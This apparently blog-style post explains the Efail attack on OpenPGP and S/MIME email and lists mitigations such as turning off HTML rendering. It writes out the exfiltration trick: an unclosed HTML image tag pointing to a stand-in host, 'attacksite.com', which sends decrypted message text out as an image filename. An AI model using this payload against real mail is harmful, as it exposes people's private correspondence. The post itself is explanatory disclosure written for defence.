A group of researchers have published a paper and associated website describing a clever attack on encrypted email that potentially allows an attacker to read encrypted emails sent in the past as well as current and future emails; EFF has recommended switching off PGP-based email encryption for now, to prevent attackers from tricking your email client into decrypting old emails and sending them to adversaries.
Here's a simple version of how the attack works: imagine that your encrypted email traffic has been intercepted and saved (the reason to encrypt email is that you're worried about such interception, so this isn't much of a stretch).
The attacker takes one of these encrypted blobs and turns it into a multipart HTML email message, forging the return address so it appears to come from one of the original correspondents. Before the encrypted blob, they stick in some HTML, including an unclosed image tag, like this <img src="https://attacksite.com/. After the encrypted blob, they finish the image tag, like this: .jpg">.
When your email client receives this message, it decrypts the blob in the middle, then it reads through the HTML, which has turned all the decrypted text into the name of the image: <img src="https://attacksite.com/decrypted%20text%20makes%20up%20the%20file%20name.jpg">h. The server ("attacksite.com") gets an incoming request from your email client for that JPEG, whose filename can be decoded to show the full text of the email.
You can mitigate this by turning off HTML display in your mailer (generally thought to be good security practice anyway!), but if even one of the people CC'ed on the email has HTML rendering turned on, the attacker can force their client to decrypt the whole chain.
There's a similar attack called "The CBC/CFB Gadget Attack" that attacks S/MIME instead of PGP.
These attacks are specific to OpenPGP and S/MIME, and depend somewhat on the characteristics of the email client you use; it's not clear from the Efail site how they affect GPG (the GPG authors said they weren't contacted in advance of the release and are upset by this; though it looks like they had some contact with the Efail team). A GPG feature called the Modfication Detection Code (MDC) should prevent this attack against GPG-based clients. MDC was created in response to a 13 year old paper that anticipates a similar attack to Efail.
Here are some strategies to prevent EFAIL attacks:
Short term: No decryption in email client. The best way to prevent EFAIL attacks is to only decrypt S/MIME or PGP emails in a separate application outside of your email client. Start by removing your S/MIME and PGP private keys from your email client, then decrypt incoming encrypted emails by copy&pasting the ciphertext into a separate application that does the decryption for you. That way, the email clients cannot open exfiltration channels. This is currently the safest option with the downside that the process gets more involved.Short term: Disable HTML rendering. The EFAIL attacks abuse active content, mostly in the form of HTML images, styles, etc. Disabling the presentation of incoming HTML emails in your email client will close the most prominent way of attacking EFAIL. Note that there are other possible backchannels in email clients which are not related to HTML but these are more difficult to exploit.
Medium term: Patching. Some vendors will publish patches that either fix the EFAIL vulnerabilities or make them much harder to exploit.
Long term: Update OpenPGP and S/MIME standards. The EFAIL attacks exploit flaws and undefined behavior in the MIME, S/MIME, and OpenPGP standards. Therefore, the standards need to be updated, which will take some time.
FAQ [Efail.de]
Efail: Breaking S/MIME and OpenPGP Email Encryption using
Exfiltration Channels (draft 0.9.0) [Damian Poddebniak, Christian Dresen, Jens Muller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, and Jorg Schwenk/27th USENIX Security Symposium]
Attention PGP Users: New Vulnerabilities Require You To Take Action Now
[Danny O'Brien and Gennie Gebhart/EFF]
